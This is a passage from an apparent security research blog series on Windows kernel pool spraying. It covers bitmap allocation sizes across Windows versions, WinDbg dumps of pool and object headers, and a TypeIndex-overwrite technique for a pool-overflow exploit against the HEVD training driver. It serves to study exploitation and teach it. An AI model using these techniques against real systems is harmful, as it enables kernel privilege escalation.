bitmap_handle <span class="sf_code_syntax_keyword">=</span> create_bitmap(<span class="sf_code_syntax_number">0x</span>12a8, <span class="sf_code_syntax_number">1</span>, <span class="sf_code_syntax_number">8</span>)
bitmap_kernel_address <span class="sf_code_syntax_keyword">=</span> get_bitmap_kernel_address(bitmap_handle)
<span class="sf_code_syntax_keyword">raw_input</span>()
</span></code></pre>
<br /></div>
Update (2017.10.28):<br />
<br />
Windows 10x64 v1607<br />
<br />
Looks like the !poolfind and !pool commands are not broken when debugging this version, so that makes things easier, on the other hand I can’t leak the address of the bitmap with the previous technique. There is an universal method but for that I need to know the size of the bitmap that will be allocated, and also calculate the size of the other object which helps leaking the bitmap address, so it’s a chicken and egg problem. Anyhow, luckily I can use the commands.<br />
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(1640, 1, 8)</span></code><br />
<span style="color: #3d85c6;"><br /></span>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> dc fffff027023f3730-10
fffff027`023f3720 238e004a 35306847 00000000 00000000 J..#Gh05........
fffff027`023f3730 1d050b24 00000000 00000000 00000000 $...............
fffff027`023f3740 00000000 00000000 00000000 00000000 ................
fffff027`023f3750 1d050b24 00000000 00000000 00000000 $...............
fffff027`023f3760 00000000 00000000 00000668 00000001 ........h.......
fffff027`023f3770 00000668 00000000 023f3990 fffff027 h........9?.'...
fffff027`023f3780 023f3990 fffff027 00000668 00005d70 .9?.'...h...p]..
fffff027`023f3790 00000003 00010000 00000000 00000000 ................
kd> !pool fffff027023f3730
Pool page fffff027023f3730 region is Paged session pool
fffff027023f3000 is not a valid large pool allocation, checking large session pool...
fffff027023f3260 size: 20 previous size: 0 (Allocated) Frag
fffff027023f3280 size: 4a0 previous size: 20 (Free) Free
*fffff027023f3720 size: 8e0 previous size: 4a0 (Allocated) *Gh05
Pooltag Gh05 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys</span></code></pre>
<br />
This became larger (on Win10x64 v1511 this should have been 0x8d0), and the reason for this is that the BITMAP_DATA offset changed from 0x258 to 0x260 (pvscan0 points to here from the beginning on the object).<br />
<br />
Let’s take a look on small bitmaps:<br />
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(1, 1, 8)</span></code><br />
<span style="color: #3d85c6;"><br /></span>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> !poolfind Gla5 -session
Scanning large pool allocation table for tag 0x35616c47 (Gla5) (ffffbc07f20c0000 : ffffbc07f20c6000)
fffff027046815c0 : tag Gla5, size 0x360, Paged session pool
fffff02704681930 : tag Gla5, size 0x360, Paged session pool
fffff02704681ca0 : tag Gla5, size 0x360, Paged session pool
fffff02701b792b0 : tag Gla5, size 0x360, Paged session pool
fffff027023af930 : tag Gla5, size 0x360, Paged session pool
fffff027023afca0 : tag Gla5, size 0x360, Paged session pool
kd> dc fffff02702305ca0-10
fffff027`02305c90 23370037 35616c47 00000000 00000000 7.7#Gla5........
fffff027`02305ca0 02050886 00000000 00000000 80000000 ................
fffff027`02305cb0 00000000 00000000 00000000 00000000 ................
fffff027`02305cc0 02050886 00000000 00000000 00000000 ................
fffff027`02305cd0 00045010 fffff027 00000020 00000040 .P..'... ...@...
fffff027`02305ce0 00000100 00000000 02305f00 fffff027 ........._0.'...
fffff027`02305cf0 02305f00 fffff027 00000004 000010c3 ._0.'...........
fffff027`02305d00 00000001 00010000 00000000 00000000 ................
kd> !pool fffff02702305ca0
Pool page fffff02702305ca0 region is Paged session pool
fffff02702305000 is not a valid large pool allocation, checking large session pool...
fffff02702305260 size: 20 previous size: 0 (Allocated) Frag
fffff02702305280 size: 10 previous size: 20 (Free) Free
fffff02702305290 size: b0 previous size: 10 (Allocated) Uscu Process: ffffbc07f150c800
fffff02702305340 size: e0 previous size: b0 (Allocated) Gla8
fffff02702305420 size: 370 previous size: e0 (Allocated) Gla5
fffff02702305790 size: e0 previous size: 370 (Allocated) Gla8
fffff02702305870 size: b0 previous size: e0 (Allocated) Uscu Process: ffffbc07f150c800
fffff02702305920 size: 370 previous size: b0 (Allocated) Gla5
*fffff02702305c90 size: 370 previous size: 370 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys</span></code></pre>
<br />
So that remained 0x370.<br />
<br />
What about large pools?<br />
<br />
<code class="code-inline"><span style="color: #3d85c6;">create_bitmap(0xda0, 1, 8)</span></code><br />
<span style="color: #3d85c6;"><br /></span>
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">kd> !pool fffff02704f5a000
Pool page fffff02704f5a000 region is Paged session pool
fffff02704f5a000 is not a valid large pool allocation, checking large session pool...
*fffff02704f5a000 : large page allocation, tag is Gh05, size is 0x1000 bytes
Pooltag Gh05 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
kd> dc fffff02704f5a000
fffff027`04f5a000 17050c9c 00000000 00000000 00000000 ................
fffff027`04f5a010 00000000 00000000 00000000 00000000 ................
fffff027`04f5a020 17050c9c 00000000 00000000 00000000 ................
fffff027`04f5a030 00000000 00000000 00000da0 00000001 ................
fffff027`04f5a040 00000da0 00000000 04f5a260 fffff027 ........`...'...
fffff027`04f5a050 04f5a260 fffff027 00000da0 0000b2b7 `...'...........
fffff027`04f5a060 00000003 00010000 00000000 00000000 ................
fffff027`04f5a070 04800200 00000000 00000000 00000000 ................</span></code></pre>
<br />
Looks to follow the same pattern, again, the only change is the BITMAP_DATA offset. So the logic for Win10x64 v1607:<br />
<br />
<pre><code class="code-multiline"><span style="color: #3d85c6;">def allocate_bitmap_with_given_size(s):
if s < 0x370:
print "[-] Too small size, such Bitmap can’t be allocated…"
sys.exit(-1)
elif s < 0x1000:
print "[+] Allocating Bitmap in the Paged paged pool"
width = s - 0x260 - 0x10
create_bitmap (width, 1, 8)
else:
print "[+] Allocating Bitmap in the Paged session pool / large pool"
width = s - 0x260
create_bitmap (width, 1, 8)</span></code></pre>
<br />
Update:<br />
<br />
Win7x64 to Win10v1607:<br />
<a href="https://github.com/theevilbit/kex/blob/master/kex.py" target="_blank">https://github.com/theevilbit/kex/blob/master/kex.py</a><br />
See the details in:<br />
<br />
<span style="background-color: white; color: #6f42c1; font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12px; white-space: pre;">calculate_bitmap_size_parameters</span>Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-13289960791833304562017-09-15T22:40:00.000+02:002017-09-15T22:40:02.739+02:00Windows kernel pool spraying fun - Part 4 - object & pool headers, kex & putting it all together<div style="text-align: justify;">
2 weeks... LOL... I had to finish this up. :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This post will be looooong, where we check the actual objects and their headers, and finally put together the actual exploit for HEVD, and I release my first version of kex.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Before we move forward for the actual exploitation we will need to prepare some more data for our objects. When we actually do a pool overflow, we will write outside of the hole (this is why we need to precisely control the new allocation with the hole) and overwriting the next object. Since we reserved the objects we will know what we overwrite but we need to see, what to place there, as messing up with kernel structures is a fast way towards BSODs.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I made a spray, and this is what I have:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">Object location: 87999400</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">Pool page 87999400 region is Nonpaged pool</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999000 size: 50 previous size: 0 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999050 size: 10 previous size: 50 (Free) P...</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999060 size: 50 previous size: 10 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879990b0 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999100 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999150 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879991a0 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879991f0 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999240 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999290 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879992e0 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999330 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999380 size: 50 previous size: 50 (Free ) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">*879993d0 size: 50 previous size: 50 (Allocated) *Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><span style="white-space: pre;"> </span>Pooltag Muta : Mutant objects</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999420 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999470 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879994c0 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999510 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999560 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 879995b0 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 87999600 size: 50 previous size: 50 (Allocated) Muta (Protected)</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
We can see that the object is at 0x87999400 while the actual reservation starts at 0x879993d0, so the object is +0x30 bytes offset from the beginning of the pool. That's because we have the POOL_HEADER, potential OPTIONAL_HEADERS and the OBJECT_HEADER there (see: <a href="http://codemachine.com/article_objectheader.html" target="_blank">http://codemachine.com/article_objectheader.html</a>), and we can see that it will be always the same for our allocation (showing the pool headers here) except the PreviousSize which can vary, but we can predict that:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_POOL_HEADER 879993d0 </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PreviousSize : 0y000001010 (0xa)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PoolIndex : 0y0000000 (0)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 BlockSize : 0y000001010 (0xa)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 PoolType : 0y0000010 (0x2)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 Ulong1 : 0x40a000a</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 PoolTag : 0xe174754d</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 AllocatorBackTraceIndex : 0x754d</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x006 PoolTagHash : 0xe174</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_POOL_HEADER 879993d0+50</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PreviousSize : 0y000001010 (0xa)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PoolIndex : 0y0000000 (0)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 BlockSize : 0y000001010 (0xa)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 PoolType : 0y0000010 (0x2)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 Ulong1 : 0x40a000a</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 PoolTag : 0xe174754d</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 AllocatorBackTraceIndex : 0x754d</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x006 PoolTagHash : 0xe174</span></div>
<div>
<br /></div>
<div>
The OBJECT_HEADER will be at 0x18 offset</div>
<div>
<br /></div>
<div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> !object 87999400</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">Object: 87999400 Type: (8521a838) Mutant</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #3d85c6;"> </span><b><span style="color: #cc0000;">ObjectHeader: 879993e8</span></b><span style="color: #3d85c6;"> (new version)</span></span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> HandleCount: 1 PointerCount: 1</span></div>
</div>
</div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_OBJECT_HEADER 879993e8 </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PointerCount : 0n1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 HandleCount : 0n1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 NextToFree : 0x00000001 Void</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x008 Lock : _EX_PUSH_LOCK</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #3d85c6;"> </span><b><span style="color: #cc0000;">+0x00c TypeIndex : 0xe ''</span></b></span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00d TraceFlags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00e InfoMask : 0x8 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00f Flags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x010 QuotaBlockCharged : 0x86e0bd80 Void</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x014 SecurityDescriptor : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> </span><span style="color: #cc0000; font-family: Courier New, Courier, monospace;"><b>+0x018 Body : _QUAD</b></span></div>
</div>
<div>
<br /></div>
<div>
and the others will be the same:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> !object 87999400+50</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">Object: 87999450 Type: (8521a838) Mutant</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> ObjectHeader: 87999438 (new version)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> HandleCount: 1 PointerCount: 1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_OBJECT_HEADER 879993e8 +50</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 PointerCount : 0n1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 HandleCount : 0n1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 NextToFree : 0x00000001 Void</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x008 Lock : _EX_PUSH_LOCK</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> </span><span style="color: #cc0000; font-family: Courier New, Courier, monospace;"><b>+0x00c TypeIndex : 0xe ''</b></span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00d TraceFlags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00e InfoMask : 0x8 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00f Flags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x010 QuotaBlockCharged : 0x86e0bd80 Void</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x014 SecurityDescriptor : (null) </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #3d85c6;"> </span><b><span style="color: #cc0000;">+0x018 Body : _QUAD</span></b></span></div>
</div>
<div>
<br /></div>
<div>
They could be different if we would have more handles open, but since we do the spraying, no one else will care about these objects. The object body starts at offset 0x18, this is how we get to our object at offset 0x30.</div>
<div>
<br /></div>
<div>
We can also see this if we dump the entire 0x50 bytes:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dd 879993d0 L50/4</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">879993d0 040a00<u>70</u> e174754d 00000000 00000050</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">879993e0 00000000 00000000 00000001 00000001</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">879993f0 00000000 000800</span><span style="color: #cc0000; font-family: Courier New, Courier, monospace;"><b>0e</b></span><span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 86e0bd80 00000000</span></div>
<div>
<span style="color: #6aa84f; font-family: Courier New, Courier, monospace;">87999400 00080002 00000001 87999408 87999408</span></div>
<div>
<span style="color: #6aa84f; font-family: Courier New, Courier, monospace;">87999410 00000000 00000000 00000000 00000000</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dd 879993d0+50 L50/4</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">87999420 040a00<u>0a</u> e174754d 00000000 00000050</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">87999430 00000000 00000000 00000001 00000001</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">87999440 00000000 000800</span><span style="color: #cc0000; font-family: Courier New, Courier, monospace;"><b>0e</b></span><span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> 86e0bd80 00000000</span></div>
<div>
<span style="color: #6aa84f; font-family: Courier New, Courier, monospace;">87999450 00080002 00000001 87999458 87999458</span></div>
<div>
<span style="color: #6aa84f; font-family: Courier New, Courier, monospace;">87999460 00000000 00000000 00000000 00000000</span></div>
</div>
<div>
<br /></div>
<div>
The underlined part is the PreviousSize, which is changing. So if we overflow into this object and use the same 0x28 bytes, we will be safe. We overwrote the object, with the same data. That's nice, but why it will be good for us? Well, we will modify the data, especially the typeindex, which is 0xe in the case above. The TypeIndex is an index to the object type table, which tells us what is this object:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dd nt!ObTypeIndexTable+4*0xe L1</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">82b805b8 8521a838</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_OBJECT_TYPE 8521a838</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 TypeList : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x008 Name : _UNICODE_STRING "Mutant"</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x010 DefaultObject : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x014 Index : 0xe ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x018 TotalNumberOfObjects : 0x187ff</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x01c TotalNumberOfHandles : 0x1880f</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x020 HighWaterNumberOfObjects : 0x7a26a</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x024 HighWaterNumberOfHandles : 0x7a28e</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x078 TypeLock : _EX_PUSH_LOCK</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x07c Key : 0x6174754d</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x080 CallbackList : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]</span></div>
<div>
<br /></div>
<div>
It has an embedded structure the OBJECT_TYPE_INITIALIZER which gives us a list of pointers to functions to be called at certain points of the object's lifecycle.</div>
<div>
<br /></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+0x28</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x000 Length : 0x50</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 ObjectTypeFlags : 0 ''</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 CaseInsensitive : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 UnnamedObjectsOnly : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 UseDefaultObject : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 SecurityRequired : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 MaintainHandleCount : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 MaintainTypeList : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 SupportsObjectCallbacks : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x002 CacheAligned : 0y0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x004 ObjectTypeCode : 2</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x008 InvalidAttributes : 0x100</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x00c GenericMapping : _GENERIC_MAPPING</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x01c ValidAccessMask : 0x1f0001</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x020 RetainAccess : 0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x024 PoolType : 0 ( NonPagedPool )</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x028 DefaultPagedPoolCharge : 0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x02c DefaultNonPagedPoolCharge : 0x50</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x030 DumpProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x034 OpenProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x038 CloseProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x03c DeleteProcedure : 0x82afe453 void nt!ExpDeleteMutant+0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x040 ParseProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x044 SecurityProcedure : 0x82ca2936 long nt!SeDefaultObjectMethod+0</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x048 QueryNameProcedure : (null) </span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;"> +0x04c OkayToCloseProcedure : (null) </span></div>
</div>
<div>
<br /></div>
<div>
Now, if we zero out the TypeIndex, this is where we get:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">||1:lkd> dd nt!ObTypeIndexTable+4*0x0 L1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #3d85c6;">82b80580 </span><b><span style="color: #cc0000;">00000000</span></b></span></div>
</div>
<div>
<br /></div>
<div>
Based on this, once the index is ZERO, the kernel will look for the OBJECT_TYPE and then the OBJECT_TYPE_INITALIZER structure at the NULL page, which we can map on Win 7 x86 (not in later versions).</div>
<div>
<br /></div>
<div>
<div>
Now we just need to have a collection of the first 0x28 bytes from the beginning of the pool allocation for the various objects.</div>
</div>
<div>
<br /></div>
<div>
During the collection I found that in case of named objects the above is slightly different. For example:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">Named Semaphore:</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">040b0006</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">e16d6553</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000000</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000044</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000000</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000000</span></div>
<div>
<span style="color: #cc0000; font-family: Courier New, Courier, monospace;"><b>9a06fb38 //pointer to ???? I couldn't figure out what is there. Anyone? It's changing between reloads.</b></span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00260026 //length of the name * 2 as it's stored in Unicode</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">adecd178 //pointer to the name (UNICODE)</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000000</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000002</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000001</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">00000000</span></div>
<div>
<span style="color: #3d85c6; font-family: Courier New, Courier, monospace;">000a0010</span></div>
</div>
<div>
<br /></div>
<div>
So it's not that easy to use a named one as we have a varying pointer which I don't know where it points to + I'm not sure what would happen if I put a pointer to user space for the name. We can't predict the pointer in kernel space. Another one which doesn't really work is IoCompletionPort. So I removed all of these from my list. Anyhow, even without these we have a good set of objects, and some further research is needed on the others. This is what we have with the PreviousSize 0-d out:</div>
<div>
<br /></div>
<div>
<div style="text-align: left;">
